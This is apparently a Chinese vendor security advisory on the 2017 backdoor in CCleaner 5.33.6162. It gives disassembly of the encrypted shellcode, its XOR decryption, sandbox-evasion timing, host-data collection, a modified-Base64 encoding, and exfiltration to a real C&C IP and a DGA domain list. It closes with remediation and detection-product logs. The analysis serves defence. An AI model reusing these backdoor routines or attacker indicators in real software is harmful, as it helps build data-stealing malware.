

系统清理工具 CCleaner 被植入后门

上百万用户或受感染

概述

2017 年 9 月 18 日,金睛安全研究团队通过情报发现著名的系统优化工具 CCleaner 的某个版本被发现植入后门,大量使用该工具的用户恐将面临泄密风险。这是继 Xshell 后门事件后,又一起严重的软件供应链来源攻击事件。

CCleaner 是一款免费的系统优化和隐私保护工具。主要用来清除 Windows 系统不再使用的垃圾文件,并且具有清除上网记录、个人隐私记录等功能。被植入后门的版本为 8 月 15 日上线的 5.33.6162 版本。

目前我们发现部分国内下载站点仍在分发存在后门的版本。金睛安全研究团队在此提醒广大使用该工具的用户,及时卸载有问题的版本,避免隐私泄露的风险。

影响版本:

CCleaner 5.33.6162

事件分析

出现问题的版本是在 2017 年 8 月 15 日发布的,直到 9 月 11 日才从官方服务器上移除。由于该版本使用了有效的数字签名,因此截止到目前大多数安全厂商仍无法检测。



SHA256: 36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0b9db2e9

File name: ccleaner

Detection ratio: 4 / 64

Analysis date: 2017-09-18 10:58:51 UTC (8 minutes ago)



CCleaner 总共拥有 20 亿次下载量，且每周的下载量超过 500 万，从发布日期到移除日期，估算该版本或有将近 2000 万次的下载量，这意味着有大量用户可能已经受到感染。

后门代码分析

1、在有问题软件的 0x0082E0A8 偏移处存放着加密的 shellcode。

```
.data:0082E0A8 byte_82E0A8 db 0, 83h, 15h, 97h, 0C7h, 2Ch, 0C9h, 95h, 75h, 68h, 0C8h; 0
.data:0082E0A8 ; DATA XREF: CC_InfectionBase+10f0
.data:0082E0A8 ; CC_InfectionBase:loc_40107Bf1 ...
.data:0082E0A8 db 0A1h, 3Dh, 76h, 7, 0CCh, 8Eh, 0F7h, 42h, 0B5h, 0BBh; 0Bh
.data:0082E0A8 db 25h, 0BEh, 43h, 7Eh, 67h, 0ABh, 63h, 3Eh, 0F6h, 8, 37h; 15h
.data:0082E0A8 db 0D0h, 0C6h, 8Ah, 0F8h, 0B9h, 0FFh, 27h, 5Bh, 3Ch, 6Eh; 20h
.data:0082E0A8 db 45h, 9Ah, 3Fh, 0D3h, 5Dh, 25h, 2Eh, 1Dh, 0C2h, 6Bh; 2Ah
.data:0082E0A8 db 11h, 99h, 0B0h, 87h, 0F5h, 87h, 0F3h, 0D8h, 29h, 2Fh; 34h
.data:0082E0A8 db 73h, 9Dh, 99h, 71h, 67h, 0BAh, 28h, 0CFh, 51h, 5, 1Dh; 3Eh
.data:0082E0A8 db 0D5h, 0, 77h, 0B3h, 0A7h, 56h, 7Ah, 36h, 63h, 43h, 4Bh; 49h
.data:0082E0A8 db 0AEh, 0FDh, 0ECh, 4Bh, 0A7h, 58h, 0A4h, 0C7h, 5, 86h; 54h
.data:0082E0A8 db 0E1h, 45h, 14h, 5Bh, 42h, 66h, 9Eh, 0E5h, 57h, 0B6h; 5Eh
.data:0082E0A8 db 8Dh, 6Ch, 0CAh, 0EEh, 94h, 94h, 80h, 0A8h, 2Fh, 87h; 68h
.data:0082E0A8 db 8Ch, 0B0h, 0DAh, 0ECh, 0EDh, 0FFh, 0EEh, 0CDh, 70h; 72h
.data:0082E0A8 db 6Ah, 0EEh, 0BAh, 0D6h, 17h, 0A6h, 4Ch, 0F0h, 6Eh, 3Bh; 7Bh
.data:0082E0A8 db 31h, 0A3h, 3Bh, 3Bh, 6Ch, 0B6h, 0B1h, 0BAh, 94h, 0BAh; 85h
.data:0082E0A8 db 51h, 0D1h, 4Ch, 2Ah, 0E8h, 9, 0AAh, 0CEh, 80h, 23h; 8Fh
.data:0082E0A8 db 0B2h, 80h, 2Eh, 0FEh, 1Ch, 0CFh, 9Fh, 0F9h, 0BBh, 19h; 99h
.data:0082E0A8 db 4, 0C4h, 5Ch, 0D3h, 4Fh, 3Ah, 1Fh, 55h, 46h, 0C8h, 6Ch; 0A3h
.data:0082E0A8 db 2Fh, 9, 4Ch, 0E1h, 6Bh, 0DEh, 7Ch, 0F0h, 50h, 6Eh, 3Eh; 0AEh
.data:0082E0A8 db 7Fh, 70h, 0Bh, 0F5h, 40h, 40h, 0D6h, 0FCh, 0Bh, 0Fh; 0B0h
```

2、首先通过如下代码进行解密 shellcode。

```
.text:00401000 sub_401000      proc near                ; CODE XREF: CC_InfectionBase+16↓p
.text:00401000                                     ; DATA XREF: HEADER:00400164↑to ...
.text:00401000
.text:00401000 arg_0             = dword ptr 8
.text:00401000 arg_4             = dword ptr 0Ch
.text:00401000
.text:00401000 mov     edi, edi
.text:00401002 push   ebp
.text:00401003 mov     ebp, esp
.text:00401005 push   esi
.text:00401006 xor     esi, esi
.text:00401008 mov     ecx, 2547383h
.text:0040100D cmp     [ebp+arg_4], esi
.text:00401010 jle     short loc_401029
.text:00401012
.text:00401012 loc_401012:                ; CODE XREF: sub_401000+27↓j
.text:00401012 mov     eax, [ebp+arg_0]
.text:00401015 imul   ecx, 47A6547h
.text:0040101B mov     dl, cl
.text:0040101D xor     [eax+esi], dl
.text:00401020 shr     ecx, 8
.text:00401023 inc     esi
.text:00401024 cmp     esi, [ebp+arg_4]
.text:00401027 jl      short loc_401012
.text:00401029
.text:00401029 loc_401029:                ; CODE XREF: sub_401000+10↑j
.text:00401029 pop     esi
.text:0040102A pop     ebp
.text:0040102B retn
.text:0040102B sub_401000      endp
```

3、shellcode 解密执行后，会加载需要使用的动态库，获取需要用到函数地址。动态库名称及函数名称都做了加密处理。

01761E90	55	push	ebp
01761E91	8BEC	mov	ebp, esp
01761E93	83EC 40	sub	esp, 0x40
01761E96	53	push	ebx
01761E97	56	push	esi
01761E98	330B	xor	ebx, ebx
01761E9A	57	push	edi
01761E9B	53	push	ebx
01761E9C	E8 43030000	call	017621E4
01761EA1	8BF8	mov	edi, eax
01761EA3	8D45 F0	lea	eax, dword ptr [ebp-0x10]
01761EA6	50	push	eax
01761EA7	83C7 12	add	edi, 0x12
01761EAA	E8 71020000	call	01762120
01761EAF	8BF0	mov	esi, eax
01761EB1	8D45 D0	lea	eax, dword ptr [ebp-0x30]
01761EB4	50	push	eax
01761EB5	8975 C8	mov	dword ptr [ebp-0x38], esi
01761EB8	FF75 F0	push	dword ptr [ebp-0x10]
01761EBB	C745 D0 4C6F61	mov	dword ptr [ebp-0x30], 0x64616F4C
01761EC2	C745 D4 4C6962	mov	dword ptr [ebp-0x2C], 0x7262694C
01761EC9	C745 D8 617279	mov	dword ptr [ebp-0x28], 0x41797261
01761ED0	895D DC	mov	dword ptr [ebp-0x24], ebx
01761ED3	FFD6	call	esi
01761ED5	8945 C4	mov	dword ptr [ebp-0x3C], eax
01761ED8	8D45 D0	lea	eax, dword ptr [ebp-0x30]
01761EDB	50	push	eax
01761EDC	C745 D8 566972	mov	dword ptr [ebp-0x38], 0x74726956
01761EE3	FF75 F0	push	dword ptr [ebp-0x10]
01761EE6	C745 D4 75616C	mov	dword ptr [ebp-0x2C], 0x416C6175
01761EED	C745 D8 6C6C6F	mov	dword ptr [ebp-0x28], 0x636F6C6C

4、启动一个线程执行主要操作。线程启动时，首先尝试 ping 224.0.0.0，并设置超时 601 秒，之后检测经过的时长是否大于等于 600 秒。如果小于则自动退出。如果无法执行 Ping 操作，则使用 sleep 函数执行上述相同操作。

017A252E	55	push	ebp	
017A252F	8BEC	mov	ebp, esp	
017A2531	81EC A8020000	sub	esp, 0x2A8	
017A2537	53	push	ebx	
017A2538	56	push	esi	
017A2539	8B35 68107A01	mov	esi, dword ptr [0x17A1068]	msvcrt.time
017A253F	33D8	xor	ebx, ebx	
017A2541	57	push	edi	
017A2542	53	push	ebx	
017A2543	FFD6	call	esi	
017A2545	8BF8	mov	edi, eax	
017A2547	C70424 59020000	mov	dword ptr [esp], 0x259	
017A254E	E8 84FFFFFF	call	017A24D7	
017A2553	53	push	ebx	
017A2554	FFD6	call	esi	
017A2556	2BC7	sub	eax, edi	
017A2558	59	pop	ecx	
017A2559	3D 58020000	cmp	eax, 0x258	
017A255E	59	pop	ecx	
017A255F	72 1B	jb	short 017A257C	
017A2561	53	push	ebx	
017A2562	FFD6	call	esi	
017A2564	59	pop	ecx	
017A2565	8945 F0	mov	dword ptr [ebp-0x10], eax	
017A2568	E8 0AF1FFFF	call	017A1677	
017A256D	3945 F0	cmp	dword ptr [ebp-0x10], eax	
017A24D7	55	push	ebp	
017A24D8	8BEC	mov	ebp, esp	
017A24D9	81EC 00010000	sub	esp, 0x100	
017A24E0	56	push	esi	
017A24E1	E8 40030000	call	017A2826	jmp to iphlpapi.IcmpCreateFile
017A24E6	8BF0	mov	esi, eax	
017A24E8	8B45 08	mov	eax, dword ptr [ebp+0x8]	
017A24EB	83FE FF	cmp	esi, -0x1	
017A24EE	74 2E	js	short 017A251E	
017A24F0	69C0 E8030000	imul	eax, eax, 0x3E8	
017A24F6	50	push	eax	
017A24F7	8D85 00FFFFFF	lea	eax, dword ptr [ebp-0x100]	
017A24FD	6A 2C	push	0x2C	
017A24FF	50	push	eax	
017A2500	6A 00	push	0x0	
017A2502	8D85 00FFFFFF	lea	eax, dword ptr [ebp-0x100]	
017A2508	6A 10	push	0x10	
017A250A	50	push	eax	
017A250B	68 E0000000	push	0xE0	
017A2510	56	push	esi	
017A2511	E8 0A030000	call	017A2820	jmp to iphlpapi.IcmpSendEcho
017A2516	56	push	esi	
017A2517	E8 FE020000	call	017A281A	jmp to iphlpapi.IcmpCloseHandle
017A251C	EB 00	jmp	short 017A252B	
017A251E	69C0 E8030000	imul	eax, eax, 0x3E8	
017A2524	50	push	eax	
017A2525	FF15 38107A01	call	dword ptr [0x17A1038]	kernel32.Sleep
017A2528	5E	pop	esi	
017A252C	C9	leave		
017A252D	C3	ret		

5、如果上述时间检查都通过，则进入以下流程。检查是否有管理员权限，如果没有则提升至 Debug 权限。

017A2504	59	pop	ecx	
017A2565	8945 F0	mov	dword ptr [ebp-0x10], eax	
017A2568	E8 0AF1FFFF	call	017A1677	
017A256D	3945 F0	cmp	dword ptr [ebp-0x10], eax	
017A2570	72 0A	jb	short 017A257C	
017A2572	FF15 98107A01	call	dword ptr [0x17A1090]	shell32.IsUserAnAdmin
017A2578	85C8	test	eax, eax	
017A257A	75 07	jnz	short 017A2583	
017A257C	33C0	xor	eax, eax	
017A257E	E9 31020000	jmp	017A27B4	
017A2583	E8 B2FAFFFF	call	017A203A	
017A2588	68 00000100	push	0x10000	UNICODE ""=::=:\\"
017A258B	6A 0A	push	0xA	

6、解密 C&C 服务器 IP。

017A215E	0FB645 F8	movzx	eax, byte ptr [ebp-0x8]	
017A2162	50	push	eax	
017A2163	8D45 D8	lea	eax, dword ptr [ebp-0x28]	
017A2166	50	push	eax	
017A2167	FF75 0C	push	dword ptr [ebp+0xC]	
017A216A	FF15 6C107A01	call	dword ptr [0x17A106C]	msvcrt.sprintf
017A2170	83C4 18	add	esp, 0x18	
017A2173	8D45 D8	lea	eax, dword ptr [ebp-0x28]	
017A2176	6A 20	push	0x20	
017A2178	59	pop	ecx	
017A2179	5F	pop	edi	
017A217A	C600 00	mov	byte ptr [eax], 0x0	
017A217D	40	inc	eax	
017A217E	49	dec	ecx	
017A217F	75 F9	jnz	short 017A217A	
017A2181	8B45 0C	mov	eax, dword ptr [ebp+0xC]	

ds:[017A106C]=77C3F931 (msvcrt.sprintf)

0197FE90	32 31 36 2E 31 32 36 2E 32 32 35 2E 31 34 38 00	216.126.225.148	0197FC98	0197FE90	ASCII "216.126.225.148"
0197FEA0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	...	0197FC9C	0197FC94	ASCII "%u.%u.%u.%u"
0197FEB0	50 ED 11 B2 18 5E A8 81 B2 3F 2C 82 00 F7 01 82	???	0197FC98	00000000	
0197FEC0	70 20 1A 09 09 0C 04 09 70 20 1A 09 09 0C 04 09	???	0197FC9C	00000000	

7、根据 DGA 域名算法随机生成随机域名。

```

017A21C4 0H 0C      push    0xC
017A21C6 50         push    eax
017A21C7 C745 E0 346ADC nov     dword ptr [ebp-0x20], 0x6CDC6A34
017A21CE C745 E4 0E14B4 nov     dword ptr [ebp-0x1C], 0xA0B4140E
017A21D5 C745 E8 29DE9F nov     dword ptr [ebp-0x18], 0x9FDE29
017A21DC E8 48FFFFFF call    017A1129
017A21E1 E8 A0FFFFFF call    017A2186
017A21E6 50         push    eax
017A21E7 FF15 7C107A01 call   dword ptr [0x17A107C]
017A21ED 8B35 80107A01 mov     esi, dword ptr [0x17A1080]
017A21F3 83C4 0C     add     esp, 0xC
017A21F6 FFD6       call   esi
017A21F8 50         push    eax
017A21F9 FFD6       call   esi
017A21FB 8BF8       mov     edi, eax
017A21FD FFD6       call   esi
017A21FF 0FAFF8    imul   edi, eax
017A2202 8D45 E0    lea    eax, dword ptr [ebp-0x20]
017A2205 57         push    edi
017A2206 50         push    eax
017A2207 FF75 00    push   dword ptr [ebp+0x8]
017A220A FF15 6C107A01 call   dword ptr [0x17A106C]
017A2210 83C4 10    add     esp, 0x10
017A2213 8D45 E0    lea    eax, dword ptr [ebp-0x20]
017A2216 6A 20     push   0x20
esp=0197FB88

```

```

0197FBEC 61 62 31 31 34 35 62 37 35 38 63 33 30 2E 63 6F ab1145b758c30.co
0197FBFC 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 n.....
0197FC0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
A197FC1C AA AA AA AA AA AA AA AA AA AA AA AA AA AA .....
0197FB88 0197FBEC ASCII "ab1145b758c30.com"
0197FBAC 0197FBC0 ASCII "ab%x%x.com"
0197FBB0 1145B758
A197FBB4 AAAAAA:3A

```

DGA 域名和时间对应关系如下：

时间	使用的 DGA 域名
2017 年 2 月	ab6d54340c1a.com
2017 年 3 月	aba9a949bc1d.com
2017 年 4 月	ab2da3d400c20.com
2017 年 5 月	ab3520430c23.com
2017 年 6 月	ab1c403220c27.com
2017 年 7 月	ab1abad1d0c2a.com
2017 年 8 月	ab8cee60c2d.com
2017 年 9 月	ab1145b758c30.com
2017 年 10 月	ab890e964c34.com
2017 年 11 月	ab3d685a0c37.com
2017 年 12 月	ab70a139cc3a.com

8、之后获取计算机名称，MAC 地址，系统版本信息，软件安装信息，进程信息等并填入到下列结构中。

偏移地址	字段含义
0x00	InstallID
0x04	操作系统主版本
0x05	子系统版本
0x06	是否为 64 位操作系统
0x07	默认为 0
0x08	计算机名称
0x48	Windows 域名称
0x88	MAC 地址
0xA0	安装程序信息（以标志位 0x53 开头），正在运行的进程信息（以标志位 0x50 开头）

对应发送的数据如下：

00187C80	4F 27 03 06 05 01 00 00	4E 45 57 43 45 4E 54 55	0' .NEWCENTU
00187C90	2D 39 35 42 34 32 32 00	00 00 00 00 00 00 00 00	-95B422.....
00187CA0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187CB0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187CC0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187CD0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187CE0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187CF0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187D00	00 00 00 00 00 00 00 00	00 0C 29 F3 33 64 00 00)?d..
00187D10	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187D20	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187F10	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00187F20	53 57 69 6E 52 41 52 20	35 2E 32 31 20 28 33 32	SWinRAR 5.21 (32
00187F30	2D CE BB 29 00 00 00 00	00 00 00 00 00 00 00 00	-位).....
00187F40	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00
00188820	50 43 3A 5C 57 49 4E 44	4F 57 53 5C 73 79 73 74	PC:\WINDOWS\sys
00188830	65 6D 33 32 5C 73 65 72	76 69 63 65 73 2E 65 78	em32\services.ex
00188840	65 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	e.....

然后将以上信息经过两次加密发送给 C&C 服务器 216.126.225.148

第一次加密:

017A1126	C2 0C00	retn	0xC
017A1129	33C9	xor	ecx, ecx
017A112B	BA 83735402	mov	edx, 0x2547383
017A1130	394C24 08	cmp	dword ptr [esp+0x8], ecx
017A1134	76 1C	jbe	short 017A1152
017A1136	53	push	ebx
017A1137	69D2 47657A04	imul	edx, edx, 0x47A6547
017A113D	8B4424 08	mov	eax, dword ptr [esp+0x8]
017A1141	8ADA	mov	bl, dl
017A1143	03C1	add	eax, ecx
017A1145	C1EA 08	shr	edx, 0x8
017A1148	3018	xor	byte ptr [eax], bl
017A114A	41	inc	ecx
017A114B	3B4C24 0C	cmp	ecx, dword ptr [esp+0xC]
017A114F	72 E6	jb	short 017A1137
017A1151	5B	pop	ebx
017A1152	C3	retn	

第二次加密 (经过修改的 Base64 算法):

017A1284	76 68	jbe	short 017A12EE
017A1286	894D 14	mov	dword ptr [ebp+0x14], ecx
017A1289	8A1F	mov	bl, byte ptr [edi]
017A128B	8A47 01	mov	al, byte ptr [edi+0x1]
017A128E	47	inc	edi
017A128F	8845 0F	mov	byte ptr [ebp+0xF], al
017A1292	8AC3	mov	al, bl
017A1294	47	inc	edi
017A1295	C0F8 02	sar	al, 0x2
017A1298	24 3F	and	al, 0x3F
017A129A	50	push	eax
017A129B	E8 36FFFFFF	call	017A11D6
017A12A0	8806	mov	byte ptr [esi], al
017A12A2	8A45 0F	mov	al, byte ptr [ebp+0xF]
017A12A5	C0F8 04	sar	al, 0x4
017A12A8	80E3 03	and	bl, 0x3
017A12AB	24 0F	and	al, 0xF
017A12AD	C0E3 04	shl	bl, 0x4
017A12B0	0AC3	or	al, bl
017A12B2	46	inc	esi
017A12B3	50	push	eax
017A12B4	E8 1DFFFFFF	call	017A11D6
017A12B9	8806	mov	byte ptr [esi], al
017A12BB	8A1F	mov	bl, byte ptr [edi]
017A12BD	8A45 0F	mov	al, byte ptr [ebp+0xF]
017A12C0	8ACB	mov	cl, bl
017A12C2	C0F9 06	sar	cl, 0x6
017A12C5	24 0F	and	al, 0xF
017A12C7	80E1 03	and	cl, 0x3
017A12CA	C0E0 02	shl	al, 0x2
017A12CD	0AC8	or	cl, al
017A12CF	46	inc	esi
017A12D0	51	push	ecx
017A12D1	47	inc	edi
017A12D2	E8 FFFFFFFF	call	017A11D6
017A12D7	80E3 3F	and	bl, 0x3F

最后将加密后的数据发送给 C&C 服务器。

017A240F	50	push	eax		
017A2410	6A 1F	push	0x1F		
017A2412	56	push	esi		
017A2413	FF15 B8107A01	call	duword ptr [0x17A10B8]	wininet.InternetSetOptionA	
017A2419	FF75 10	push	duword ptr [ebp+0x10]		
017A241C	FF75 0C	push	duword ptr [ebp+0xC]		
017A241F	53	push	ebx		
017A2420	53	push	ebx		
017A2421	56	push	esi		
017A2422	FF15 B4107A01	call	duword ptr [0x17A10B4]	wininet.HttpSendRequestA	
017A2428	85C0	test	eax, eax		
017A242A	74 78	je	short 017A24A4		
017A242C	68 08040000	push	0x408		

ds:[017A10B4]=771C60A1 (wininet.HttpSendRequestA)

0018A290	34 6F 65 69 6D 49 35 54 4D 53 6D 70 38 6E 51 34	h0eim15THSmP8nQ4	0197FB88	00CC000C	ef694b89_00CC000C
0018A2A0	4D 72 47 5A 21 6D 50 6D 21 57 67 34 34 54 52 61	MrGZ!nPm!Vg44TRa	0197FB8C	00000000	
0018A2B0	55 78 76 64 65 4A 5A 32 63 6C 57 47 73 38 38 4F	UxvdeJ22c1WGs88D	0197FB90	00000000	
0018A2C0	36 78 7A 73 4B 38 6D 42 54 76 31 36 61 58 66 6B	6xzsk8mBtV16aXfk	0197FB94	0018A290	ASCII "h0eim15THSmP8nQ4MrGZ!nPm!Vg44TRaUxvdeJ22c1"
0018A2D0	74 33 4B 66 6C 53 78 76 32 45 77 68 71 6C 79 61	t3Kf1Sxv2Euhq1ya	0197FB98	00004C08	
0018A2E0	73 66 30 68 33 62 61 53 55 30 78 2A 72 48 74 62	sF0k3baSU0x*rHtb	0197FB9C	00176508	
0018A2F0	4B 6A 64 71 6A 33 74 49 48 49 58 46 65 74 45 30	Kjdqj3tIHIXFetE0	0197FBA0	000001A0	
0018A300	32 57 30 52 64 4E 6D 54 58 41 54 65 71 41 73 44	2W0RdMntXAteqAsD	0197FBA4	00000000	
0018A310	45 64 43 54 62 72 45 34 49 30 4C 42 35 79 38 55	EdCTbrE4I0LBSy8U	0197FBA8	74736F48	
0018A320	67 44 66 71 2A 6F 4A 63 78 6E 32 50 4D 4F 34 34	gBFq*oJcxn2PH044	0197FBAC	7073203A	
0018A330	51 58 4B 63 68 53 64 45 65 76 6A 2A 69 6A 58 55	QXKchSdEevj*iJXu	0197FB80	79636365	
0018A340	6F 38 37 32 21 37 75 54 74 5A 72 4E 61 39 43 30	o872?TuTEzrNa9C0	0197FB84	7269702E	
0018A350	6E 6C 63 62 73 42 39 2A 67 56 62 41 53 4F 64 72	n1cbsB9*gUBAS0dr	0197FB88	726F6669	
0018A360	6B 6A 45 34 34 4F 59 70 6F 35 6C 32 72 37 42 74 72	kjE40Ypo51r7BTr	0197FB8C	6F632E6D	
0018A370	6A 64 62 70 7A 55 39 63 68 36 69 49 47 4D 47	jdbpz09ch61IG6HG	0197FB90	000A006D	
0018A380	34 43 5A 4B 46 70 33 38 70 68 46 72 4E 41 46 78	4cZKfp38phFrNAFX	0197FB94	00000000	
0018A390	21 63 59 31 72 54 75 67 47 5A 74 4D 79 72 78 79	tcY1rTu06ZtHuxzu	0197FB98	00000000	

如果上述 IP 地址不可达，则将上述信息发送给 DGA 域名。

解决方案

- 及时卸载有问题的 5.33 版本，并去官网下载最新 5.34 版本
<https://www.piriform.com/ccleaner/download/standard>
 官方声明：
<http://www.piriform.com/news/blog/2017/9/18/security-notification-for-ccleaner-v5336162-an-d-ccleaner-cloud-v1073191-for-32-bit-windows-users>
- 部署天阉入侵检测与管理系统，升级到最新事件库即可有效检测并报警相关攻击。

实时事件显示 URL 信誉日志显示 新增事件显示

操作	状态	事件级别	流行程度	事件名称	源IP	目的IP	引擎	发生时间	今日发生次数	最近十分钟发生次	合并方式
处理	未处理	高级	无威胁	DNS_木马后门_CCleaner_可疑域名连接	114.114.114.11...	192.168.13.53/...	168(192.168.13.16	19:11:28	1	1	不会并
处理	未处理	高级	无威胁	DNS_木马后门_CCleaner_可疑域名连接	192.168.13.53/...	114.114.114.11...	168(192.168.13.16	19:11:28	1	1	不会并

- 部署天清入侵防御系统，升级到最新事件库即可有效检测并报警相关攻击。

入侵防御日志 防病毒日志 系统日志 入侵防御事件包 报表

时间设定 所有 | 最近一周 | 今天 | 指定时间

事件名称 源IP 目的IP 目的端口 事件级别 动作

优先级 租户 内容

临时阻断 共0条

名称	源IP	目的IP	时间	类型	事件级别	优先级	动作	入侵防御策略ID	发生次数	内容
1 DNS_木马后门_CCleaner_可疑域名连接	192.168.13.53	114.114.114.114	2017-09-18 19:16:46	木马后门	中	警告	RESET	1	1	Vsysisd=0 Content="DNS域名=www.ab890e964c34.com;" CapTo
2 DNS_木马后门_CCleaner_可疑域名连接	192.168.13.53	114.114.114.114	2017-09-18 19:16:44	木马后门	中	警告	RESET	1	1	Vsysisd=0 Content="DNS域名=www.ab890e964c34.com;" CapTo
3 DNS_木马后门_CCleaner_可疑域名连接	192.168.13.53	114.114.114.114	2017-09-18 19:16:42	木马后门	中	警告	RESET	1	1	Vsysisd=0 Content="DNS域名=www.ab890e964c34.com;" CapTo